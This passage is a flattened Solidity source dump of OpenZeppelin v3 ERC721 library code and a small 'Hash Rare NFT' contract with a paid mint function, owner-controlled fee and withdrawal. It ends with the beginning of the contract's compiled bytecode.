_length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/introspection/ERC165.sol // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/token/ERC721/ERC721.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: contracts/Hashrare.sol pragma solidity >=0.6.0 <0.8.0; contract NFT is ERC721 { uint256 public tokenID; uint256 public mintFee = 1000000000000000; address public owner; constructor() public ERC721('Hash Rare NFT', 'RARE'){ tokenID = 0; owner = msg.sender; } modifier onlyOwner{ require(owner == msg.sender); _; } function mintNew(string memory _tokenURI) payable public { (bytes(_tokenURI).length > 0); require(msg.value == mintFee); tokenID++; _mint(msg.sender,tokenID); _setTokenURI(tokenID, _tokenURI); } function getFee()view public returns(uint256){ return(mintFee); } function changeFee(uint256 _newFee) onlyOwner public { mintFee = _newFee; } function changeOwner(address _newOwner) onlyOwner public { owner = _newOwner; } function withdrawlFee(uint256 _value) onlyOwner public payable { msg.sender.transfer(_value); } }
0x6080604052600436106101665760003560e01c80636c0360eb116100d1578063a5c42ef11161008a578063c1bf0c6a11610064578063c1bf0c6a1461061c578063c87b56dd146106c2578063ced72f87146106ec578063e985e9c51461070157610166565b8063a5c42ef114610501578063a6f9dae114610516578063b88d4fde1461054957610166565b80636c0360eb1461043757806370a082311461044c578063807e91a31461047f5780638da5cb5b1461049c57806395d89b41146104b1578063a22cb465146104c657610166565b806323b872dd1161012357806323b872dd146102fa5780632f745c591461033d57806342842e0e146103765780634f6ccce7146103b95780636352211e146103e35780636a1db1bf1461040d57610166565b806301ffc9a71461016b57806306fdde03146101b3578063081812fc1461023d578063095ea7b31461028357806313966db5146102be57806318160ddd146102e5575b600080fd5b34801561017757600080fd5b5061019f6004803603602081101561018e57600080fd5b50356001600160e01b03191661073c565b604080519115158252519081900360200190f35b3480156101bf57600080fd5b506101c861075f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102025781810151838201526020016101ea565b50505050905090810190601f16801561022f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024957600080fd5b506102676004803603602081101561026057600080fd5b50356107f5565b604080516001600160a01b039092168252519081900360200190f35b34801561028f57600080fd5b506102bc600480360360408110156102a657600080fd5b506001600160a01b038135169060200135610857565b005b3480156102ca57600080fd5b506102d3610932565b60408051918252519081900360200190f35b3480156102f157600080fd5b506102d3610938565b34801561030657600080fd5b506102bc6004803603606081101561031d57600080fd5b506001600160a01b03813581169160208101359091169060400135610949565b34801561034957600080fd5b506102d36004803603604081101561036057600080fd5b506001600160a01b0381351690602001356109a0565b34801561038257600080fd5b506102bc6004803603606081101561039957600080fd5b506001600160a01b038135811691602081013590911690604001356109cb565b3480156103c557600080fd5b506102d3600480360360208110156103dc57600080fd5b50356109e6565b3480156103ef57600080fd5b506102676004803603602081101561040657600080fd5b50356109fc565b34801561041957600080fd5b506102bc6004803603602081101561043057600080fd5b5035610a24565b34801561044357600080fd5b506101c8610a40565b34801561045857600080fd5b506102d36004803603602081101561046f57600080fd5b50356001600160a01b0316610aa1565b6102bc6004803603602081101561049557600080fd5b5035610b09565b3480156104a857600080fd5b50610267610b51565b3480156104bd57600080fd5b506101c8610b60565b3480156104d257600080fd5b506102bc600480360360408110156104e957600080fd5b506001600160a01b0381351690602001351515610bc1565b34801561050d57600080fd5b506102d3610cc6565b34801561052257600080fd5b506102bc6004803603602081101561053957600080fd5b50356001600160a01b0316610ccc565b34801561055557600080fd5b506102bc6004803603608081101561056c57600080fd5b6001600160a01b038235811692602081013590911691604082013591908101906080810160608201356401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460018302840111640100000000831117156105db57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610d05945050505050565b6102bc6004803603602081101561063257600080fd5b81019060208101813564010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184600183028401116401000000008311171561068157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610d63945050505050565b3480156106ce57600080fd5b506101c8600480360360208110156106e557600080fd5b5035610d96565b3480156106f857600080fd5b506102d3611019565b34801561070d57600080fd5b5061019f6004803603604081101561072457600080fd5b506001600160a01b038135811691602001351661101f565b6001600160e01b0319811660009081526020819